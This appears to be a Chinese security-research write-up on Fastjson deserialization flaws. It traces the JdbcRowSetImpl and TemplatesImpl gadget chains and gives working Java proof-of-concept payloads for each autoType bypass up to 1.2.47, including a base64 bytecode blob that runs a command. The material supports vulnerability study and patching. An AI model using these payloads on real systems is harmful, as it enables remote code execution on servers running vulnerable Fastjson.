Fastjson反序列化
Fastjson
Fastjson是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Object 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 Java Object。项目地址
Fastjson提供了两个主要接口来分别实现对于Java Object的序列化和反序列化操作。
JSON.toJSONString
JSON.parseObject/JSON.parse
只有Java Bean格式的对象才能Fastjson被转为JSON(它们有标准的getter和setter方法)
| 12
 3
 4
 5
 6
 7
 
 | String text = JSON.toJSONString(obj);
 
 
 VO vo = JSON.parse();
 VO vo = JSON.parseObject("{...}");
 VO vo = JSON.parseObject("{...}", VO.class);
 
 | 
对于
| 1
 | {"@type":"Person","age":18,"name":"Faster"}
 | 
JSON.parse()会把@type当作类,调用构造方法,再调用类的setter方法把age,name属性写入,但是对于一些特殊的getter,fastjson也会调用,比如 FastJson 认为 getOutputProperties() 是 outputProperties 的访问器 。
JSON.parseObject("{...}")其实是封装了parese(),把原本返回的对象调用getter方法取出属性放入JSONObject中
JSON.parseObject("{...}", VO.class)则是把age,name写入指定的类对象
parse触发了set方法,parseObject同时触发了set和get方法,由于存在这种autoType特性。如果@type标识的类中的setter或getter方法存在恶意代码,那么就有可能存在fastjson反序列化漏洞。
Fastjson<=1.2.24
JdbcRowSetImpl利用链
JdbcRowSetImpl利用链最终的结果是导致JNDI注入,可以结合JNDI的攻击手法进行利用。是通用性最强的利用方式,在以下三种反序列化中均可使用,JDK版本限制和JNDI类似。
主要是JdbcRowSetImpl类的setter方法setAutoCommit,可以调用到connect

从而调用lookup进行JNDI注入攻击

demo:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 
 | import com.alibaba.fastjson.JSON;
 public class JdbcRowSetImpl {
 public static void rmi(){
 String payload = "{" +
 "\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
 "\"dataSourceName\":\"rmi://127.0.0.1:1099/ref\", " +
 "\"autoCommit\":true" +
 "}";
 JSON.parse(payload);
 
 }
 public static void ldap(){
 String payload = "{" +
 "\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
 "\"dataSourceName\":\"ldap://127.0.0.1:1099/ref\", " +
 "\"autoCommit\":true" +
 "}";
 JSON.parse(payload);
 }
 public static void main(String[] args) {
 rmi();
 }
 }
 
 | 
调试过程:
这种牢版本写得,整个调用栈还是比较复杂的,而且和后面版本差别很大,很多就不展开分析了。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 
 | connect:627, JdbcRowSetImpl (com.sun.rowset)setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)
 invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
 invoke:62, NativeMethodAccessorImpl (sun.reflect)
 invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
 invoke:498, Method (java.lang.reflect)
 setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
 parseField:83, DefaultFieldDeserializer (com.alibaba.fastjson.parser.deserializer)
 parseField:773, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
 deserialze:600, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
 parseRest:922, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
 deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer)
 deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
 parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
 parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
 parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
 parse:137, JSON (com.alibaba.fastjson)
 parse:128, JSON (com.alibaba.fastjson)
 main:10, Fastjson_Jdbc_LDAP
 
 | 
前三步主要是解析json字符串,存在易于访问的变量中
| 12
 3
 
 | parse:137, JSON (com.alibaba.fastjson)parse:128, JSON (com.alibaba.fastjson)
 main:10, Fastjson_Jdbc_LDAP
 
 | 
到DefaultJSONParser中把我们的JdbcRowSetImpl类加载出来了(clazz),然后通过clazz的类型获取deserializer(FastjsonASMDeserializer_1_JdbcRowSetImpl),这个方法以字节码形式加载,具体里面发生了什么无法调试,在里面经过进一步解析

最后进入了JavaBeanDeserializer里,处理Beanclass后面把JdbcRowSetImpl实例化为了object对象

然后就是调用setter了,在DefaultFieldDeserializer中调用了setValue,这里边一定会调用JdbcRowSetImpl类的getter方法,跟进去

在setValue中,通过反射调用了method方法(即setAutoCommit,之前储存在FieldDeserializer的fieldInfo.method中了)

TemplatesImpl利用链
之前cc3的利用链:
newTransformer->getTransletInstance->defineTransletClasses->defineClass
而TemplatesImpl的getter方法getOutputProperties能调用newTransformer直接触发整个链加载恶意字节码

demo:
| 12
 3
 4
 5
 6
 7
 
 | {"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
 "_bytecodes":[""]
 ,'_name':'name'
 ,'_tfactory':{ }
 ,"_outputProperties":{ }
 }
 
 | 
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 
 | import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.parser.Feature;
 import com.alibaba.fastjson.parser.ParserConfig;
 
 public class Fastjson_Temp {
 public static void main(String[] args) {
 ParserConfig config = new ParserConfig();
 String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADIANAoABwAlCgAmACcIACgKACYAKQcAKgoABQAlBwArAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAtManNvbi9UZXN0OwEACkV4Y2VwdGlvbnMHACwBAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsHAC0BAARtYWluAQAWKFtMamF2YS9sYW5nL1N0cmluZzspVgEABGFyZ3MBABNbTGphdmEvbGFuZy9TdHJpbmc7AQABdAcALgEAClNvdXJjZUZpbGUBAAlUZXN0LmphdmEMAAgACQcALwwAMAAxAQAEY2FsYwwAMgAzAQAJanNvbi9UZXN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAABAAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAIACwAAAA4AAwAAABEABAASAA0AEwAMAAAADAABAAAADgANAA4AAAAPAAAABAABABAAAQARABIAAQAKAAAASQAAAAQAAAABsQAAAAIACwAAAAYAAQAAABcADAAAACoABAAAAAEADQAOAAAAAAABABMAFAABAAAAAQAVABYAAgAAAAEAFwAYAAMAAQARABkAAgAKAAAAPwAAAAMAAAABsQAAAAIACwAAAAYAAQAAABwADAAAACAAAwAAAAEADQAOAAAAAAABABMAFAABAAAAAQAaABsAAgAPAAAABAABABwACQAdAB4AAgAKAAAAQQACAAIAAAAJuwAFWbcABkyxAAAAAgALAAAACgACAAAAHwAIACAADAAAABYAAgAAAAkAHwAgAAAACAABACEADgABAA8AAAAEAAEAIgABACMAAAACACQ=\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}";
 JSON.parseObject(text, Object.class, config, Feature.SupportNonPublicField);
 
 }
 }
 
 | 
调试过程:
同上
Fastjson高版本绕过
怎么对比版本:
先把项目clone下来git clone https://github.com/alibaba/fastjson.git
然后签出要对比的版本,这里是1.2.24

然后把1.2.25与我们迁出的对比,点显示与工作树的差异

其实应该让1.2.25与1.2.24对比的(还是审计1.2.25的问题嘛,。),所以点交换分支
1.2.25-1.2.41绕过

其实改的挺少的,前面说在DefaultJSONParser中loadclass

发现多了一个checkAutoType检查类名的操作,但是在开启autoTypeSupport后存在逻辑漏洞,(没开启之前只允许白名单的类,开启后允许除了黑名单以外的类),使用Lcom.sun.rowset.JdbcRowSetImpl;(类的前后加L和;)不会被黑名单检测,但是loadclass时会删除它们,使恶意类加载。
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 
 | package com.alibaba.fastjson.parser;
 import com.alibaba.fastjson.JSON;
 public class Parse {
 public static void main(String[] args) {
 ParserConfig config = new ParserConfig();
 config.setAutoTypeSupport(true);
 String text = "{" +
 "\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\"," +
 "\"dataSourceName\":\"ldap://127.0.0.1:1099/ref\", " +
 "\"autoCommit\":true" +
 "}";
 JSON.parseObject(text, Object.class, config);
 }
 }
 
 
 | 
或者用parse(),下面的版本统一用JSON.parseObject
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 
 | package com.alibaba.fastjson.parser;
 import com.alibaba.fastjson.JSON;
 public class Parse {
 public static void main(String[] args) {
 ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
 String text = "{" +
 "\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\"," +
 "\"dataSourceName\":\"ldap://127.0.0.1:1099/ref\", " +
 "\"autoCommit\":true" +
 "}";
 JSON.parse(text);
 }
 }
 
 | 
调试过程
开启autoTypeSupport后,没添加白名单,直接开始检测黑名单,startsWith因为我们加的L不会匹配成功

然后下面又判断autoTypeSupport,进入loadClass

然后去掉L``;加载类

1.2.42绕过
把黑名单换成了hash值,。

如果以L开头;结尾则去掉它们

当然可以双写绕过
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 
 | package com.alibaba.fastjson.parser;
 import com.alibaba.fastjson.JSON;
 public class Parse {
 public static void main(String[] args) {
 ParserConfig config = new ParserConfig();
 config.setAutoTypeSupport(true);
 String text = "{" +
 "\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\"," +
 "\"dataSourceName\":\"ldap://127.0.0.1:1099/ref\", " +
 "\"autoCommit\":true" +
 "}";
 JSON.parseObject(text, Object.class, config);
 }
 }
 
 | 
1.2.43修复
处理了LL开头,直接返回报错

把白名单改成用户自定义acceptHashCodes

但loadclass里面还处理了[,但是会返回Array

DefaultUsoNParser.pareObject中checkAutotype之后根据clazz类型选则deserializer

进到ObjectArrayCodec,直接到parseArray的逻辑了

要求下一个token(逗号后的token)必须是[,cao(它的except拼错了)

再下一层要求token是{

所以最终payload:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 
 | package com.alibaba.fastjson.parser;
 import com.alibaba.fastjson.JSON;
 public class Parse {
 public static void main(String[] args) {
 ParserConfig config = new ParserConfig();
 config.setAutoTypeSupport(true);
 String text = "{" +
 "\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{," +
 "\"dataSourceName\":\"ldap://127.0.0.1:1099/ref\", " +
 "\"autoCommit\":true" +
 "}";
 JSON.parseObject(text, Object.class, config);
 }
 }
 
 | 
1.2.44修复
增加了对[的处理,直接报错

1.2.45绕过
添加了一些黑名单,但是有组件没有在黑名单中,比如org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
| 12
 3
 4
 5
 
 | <dependency><groupId>org.mybatis</groupId>
 <artifactId>mybatis</artifactId>
 <version>3.5.6</version>
 </dependency>
 
 | 
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 
 | package com.alibaba.fastjson.parser;
 import com.alibaba.fastjson.JSON;
 public class Parse {
 public static void main(String[] args) {
 ParserConfig config = new ParserConfig();
 config.setAutoTypeSupport(true);
 String text = "{\n" +
 "  \"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\n" +
 "  \"properties\":{\n" +
 "    \"data_source\":\"ldap://127.0.0.1:1099/ref\"\n" +
 "  }\n" +
 "}";
 JSON.parseObject(text, Object.class, config);
 }
 }
 
 
 | 
调试过程
还是在DefaultJSONParser中,解析完@type,checkAutotype没有被黑名单拦住,然后

getDeserializer
我们传入的JndiDataSourceFactory没有被注册,所以没有获取到deserializers中的deserializer,所以调用getDeserializer方法,跟进去看看

getDeserializer
经过一系列的检查,为这个组件加载、注册了FastJsonASMDerializer



然后在这个以字节码加载的方法中(调试不进去)调用了setter方法,到lookup触发JNDI注入

1.2.46修复
添加了一些黑名单,包括上面的org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
1.2.47通杀绕过
影响版本:<font style="color:rgba(0, 0, 0, 0.8);background-color:rgb(241, 241, 241);">1.2.25 <= fastjson <= 1.2.32 未开启 AutoTypeSupport</font>
影响版本:<font style="color:rgba(0, 0, 0, 0.8);background-color:rgb(241, 241, 241);">1.2.33 <= fastjson <= 1.2.47</font>
描述:作者删除了一个 fastjson 的测试文件:<font style="color:rgba(0, 0, 0, 0.8);background-color:rgb(241, 241, 241);">https://github.com/alibaba/fastjson/commit/be41b36a8d748067ba4debf12bf236388e500c66</font> ,里面包含了这次通杀漏洞的 payload。
还是在checkAutoType中,检查autoTypeSupport之前,尝试从mappings和deserializers中加载类,如果能控制它们的话肯定能加载任意类

deserializers
我们能控制着写入deserializers的(绿色的有入参的)也就getDeserializer、putDeserializer了

<font style="color:rgba(0, 0, 0, 0.8);background-color:rgb(241, 241, 241);">getDeserializer()</font>:这个类用来加载一些特定类,以及有 <font style="color:rgba(0, 0, 0, 0.8);background-color:rgb(241, 241, 241);">JSONType</font> 注解的类,它加载的类基本上是固定的,无法利用
<font style="color:rgba(0, 0, 0, 0.8);background-color:rgb(241, 241, 241);">putDeserializer()</font>:两种调用都无法控制入参

mappings

只剩loadClass能用了
首先clzz要是Class.class,这也是使用MiscCodec的Deserializer的条件

然后strVal就是objVal

解析完@type的Class.class如果下一个键为val,读取它的值

然后恶意类就被加载进mappings了,当然,load出来的恶意类是不能调用其setter的,只能再解析一次

| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 
 | {"1":{
 "@type":"java.lang.Class",
 "val":"com.sun.rowset.JdbcRowSetImpl"
 }
 ,
 "2":{
 "@type":"com.sun.rowset.JdbcRowSetImpl",
 "dataSourceName":"ldap://127.0.0.1:1099/ref",
 "autoCommit":"true"
 }
 }
 
 | 
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 
 | package com.alibaba.fastjson.parser;
 import com.alibaba.fastjson.JSON;
 public class Parse {
 public static void main(String[] args) {
 ParserConfig config = new ParserConfig();
 String text = "{\n" +
 "     \"1\":{\n" +
 "           \"@type\":\"java.lang.Class\",\n" +
 "           \"val\":\"com.sun.rowset.JdbcRowSetImpl\"\n" +
 "         }\n" +
 "    ,\n" +
 "     \"2\":{    \n" +
 "           \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
 "           \"dataSourceName\":\"ldap://127.0.0.1:1099/ref\",\n" +
 "           \"autoCommit\":\"true\"\n" +
 "         }\n" +
 "}";
 JSON.parseObject(text, Object.class, config);
 }
 }
 
 
 | 
调试过程
parse完@type把Class.class扔进checkAutotype中,java.lang.Class没有在黑名单中,

然后根据clazz选择下一步的deserializer,这里直接成了MiscCodec的deserializer

跟进MiscCodec的deserialize方法,读取val的值然后loadClass,把恶意类放入mapping,成功绕过黑名单

1.2.48版本修复
把cache默认值改为false
对TypeUtils#loadClass中易于利用的第三处mapping.put做了限制
将java.lang.Class放入黑名单